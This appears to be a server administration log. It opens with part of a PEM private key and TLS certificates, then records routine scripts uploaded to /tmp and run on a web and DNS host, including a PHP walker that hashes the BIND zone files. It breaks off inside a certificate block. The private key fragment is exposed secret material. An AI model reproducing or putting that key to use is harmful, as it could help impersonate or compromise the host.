/vLSZddu0y8JXbq3I/+9LuiceQ9/PD+/5MvNuGZVgAl1x2YXQhGPFG0ZBPckkAW+
fiAG968BKZkYgM55kChfdrfEhluqLoklRNI6vqCTqI6Ct04PcXIxo8hkEj4t/VMT
k3TKk1j5zpVWJgN9JUHGANvvKQKBgQD1miVIRaZXiNy1m+LLhTP8G5gUsuRpgPxT
OqG8t7Q/RRjbmZ0L1J85moF6MTPvlItbmp/i7F41Wsoa9toJNly+DsnE44zmnzY+
v0t41b2ReGqVtKicMkdt9TWRDlpH4bcbCqck1tAqlp9BymF84LthH166Lfl/cV/v
OIb0I+aHzQKBgQDWhCx3B1EdyW4SY9kYWk5Pa20sgsikVjLqLcWJTRnplkrZwF8g
ArKQxvaJCdkFe6lDT4reOCzrEAvwHrSGI7btuMBlYSeKdNN1RpjfHKpcyYv3ZkZ6
djQW0KrGoukn/TyIc8My/7OPbuuDCz1ohE0Q+pDn5FXfW+vFB6UOKVU4YQKBgBMg
niayxfGrRwUdztvq09GelImIJSHSWdRhjJcV94O17emsXP6+4GesEMlja5gNCY1o
zWru3adqGrNe5jwxb6ednzkmP6L2Y1MfstEGVG0v450lJLyFbeqyXimd5IoUmh4R
BlNoJ24prN2C1XTUS8OUndwCGJxESCRpUplQ8nNBAoGBANrRjSpn+BOWnTToky+8
CWYezSd7Oc0VBnLXVpmGrcKi7usnaAzWVMF5yfhUhQ3JyF3Bvep18M6LMa9vjbwy
fZTY3D3EjQe6+55IoTcDgaRV7AYvSxrhoji56kzWUKfgQIDO2+MKvss925L3kKWl
aoSzK4WQccF5EVEmzf6sPRoF
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-02 06:00:38: Establishing a connection
2025-12-02 06:00:39: Establishing a connection
2025-12-02 06:00:40: 

PUT: /tmp/pkp419858

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-02 06:00:41: 

chmod 755 /tmp/pkp419858; /tmp/pkp419858; rm /tmp/pkp419858

2025-12-02 06:00:41: 


0


2025-12-02 22:56:13: Establishing a connection
2025-12-02 22:56:28: Establishing a connection
2025-12-02 22:56:28: 

PUT: /tmp/pkp327590

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-12-02 22:56:29: 

runuser -l bind -s /bin/bash -c '/tmp/pkp327590; rm /tmp/pkp327590'

2025-12-02 22:56:29: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-02 23:06:50: Establishing a connection
2025-12-02 23:06:51: 

PUT: /tmp/pkp847787

#!/bin/bash
temp_file=$(mktemp)
TARGET=E3BE28443206AC49C3D55D1410B8DC85.crt

cat > $temp_file <<'endmsg'
a9:6b:a1:a5:89:0c:fe:54:70:0f:63:aa:30:d3:d7:fc

-----BEGIN CERTIFICATE-----
MIIGVzCCBL+gAwIBAgIRANUcRBuZQtgOQAZJA8NEgO8wDQYJKoZIhvcNAQELBQAw
ZjELMAkGA1UEBhMCQUUxGTAXBgNVBAoTEFNTTDJCVVkgRU1FQSBMTEMxPDA6BgNV
BAMTM1NTTDJCVVkgRU1FQSBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNl
cnZlciBDQTAeFw0yNTEyMDIwMDAwMDBaFw0yNzAxMDIyMzU5NTlaMBcxFTATBgNV
BAMMDCoubXlhcHAuY2FyZTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
ANHZFH2s4GOd5CLuJ8zQPwh+JryCAdwFQxWN3vMYLQdTBtqmH6zqwAmbFWGI6KPb
WMc80S6JK/VC+8rjmyKiXxGetZwtFy30r8eF/6ibO28sOyxjM5KTrEg3eOZ8CXG7
BmCW7U55rndetexTSjpOBSuJDLvLsD/nzxF++QNcZSo9XLa0zdk1G4srpmgrE+U5
WUUiraWOTfrTbfcbWxZvrT8VG2R5ZJfllmz1M17IWBTDU5mCf42SJM0F5EF3IMIy
wS0CmeO0qc51aAbmpAMq7siiis79+OSLvRQo+C/lcYsqEOtRQQ2xaUZ/VhRrSgm0
G9UrRE1L/67HJ2JV0VFZWMkCAwEAAaOCAs0wggLJMB8GA1UdIwQYMBaAFIFZSMm6
5QBv37f/UMWr793m5K6QMB0GA1UdDgQWBBRhGj7em/h5PNICJDriI5iCAegOwzAO
BgNVHQ8BAf8EBAMCBaAwDAYDVR0TAQH/BAIwADATBgNVHSUEDDAKBggrBgEFBQcD
ATATBgNVHSAEDDAKMAgGBmeBDAECATCBiAYIKwYBBQUHAQEEfDB6MFMGCCsGAQUF
BzAChkdodHRwOi8vY3J0LnNlY3RpZ28uY29tL1NTTDJCVVlFTUVBUlNBRG9tYWlu
VmFsaWRhdGlvblNlY3VyZVNlcnZlckNBLmNydDAjBggrBgEFBQcwAYYXaHR0cDov
L29jc3Auc2VjdGlnby5jb20wIwYDVR0RBBwwGoIMKi5teWFwcC5jYXJlggpteWFw
cC5jYXJlMIIBjQYKKwYBBAHWeQIEAgSCAX0EggF5AXcAdgBgTJqven93XwHUBvyS
DciZ6wscffjJUhv6+hd3O5eLyQAAAZrhTprVAAAEAwBHMEUCIDI0LLuWEgXZ7Dq8
LZht30VzJVqKz/0TXNZIi4IfCZYSAiEA0aYTjkNZbV7QRpCnWGYZWtkISDg0TfD/
dBQjIDiOCPYAfQCOykcLrN5q86IGsKR6hLdG/h/Gv5U+JeabTuQCSPPG6AAAAZrh
Tp3iAAgAAAUAAEYlBAQDAEYwRAIgZ9VgnBQonCVGAsuk22+i4MDVOufCa9GXP0Ah
4/Su1OoCIGYWX6c5RoJ4uWTKgQqLkaYSvIcFYekWboYvVcc2kZB0AH4AWW5sM4aU
sllyolbIoOjdkEp26Ag92oc7AQg4KBQ87lkAAAGa4U6ckQAIAAAFAAAAQ9EEAwBH
MEUCIQCjLppjUg79FVP5jJzrj3sCtexyNSlx0BioF6IotFj0kQIgfE9ujCun6ZLe
8oK9rMWBUTsArCmHyfT0r+Ktm+2T7HMwDQYJKoZIhvcNAQELBQADggGBAAMstxOP
96S7fclGjGNvIUjzVJV0Uia9kn/44ZWIBDoYAI/+4h42xNG9SEcZ1Y239rAtWr0s
82g9cdLDgpbWaWOT8n21oP7f1t9Sj2GyncJoQb4jPTgVzEJ8XcsUig+UroYimvoX
q1HLX8bKTAnQwjEENoBUQxAOd25ED21nR2x9IEV+CVMPZKhF0Kbscbz7zFrEVwvX
ssU6g7va78S8KblsFXQSfap8U8cuF0C5szy/p5S0jUCwDAbukQm3OYVIJZ+RTSxQ
qMZoXXxp3bk3WrVSUukZ906v1ATAH6l5O8EyJ2UkKZpLTnEWzI8wx9/iRoFbCv7x
PqhJsHuWNqejhvzJxR4oeyuWCi9DjqqDCnizytWG6Sm/mdWCJ2vIgX595tVkXZVh
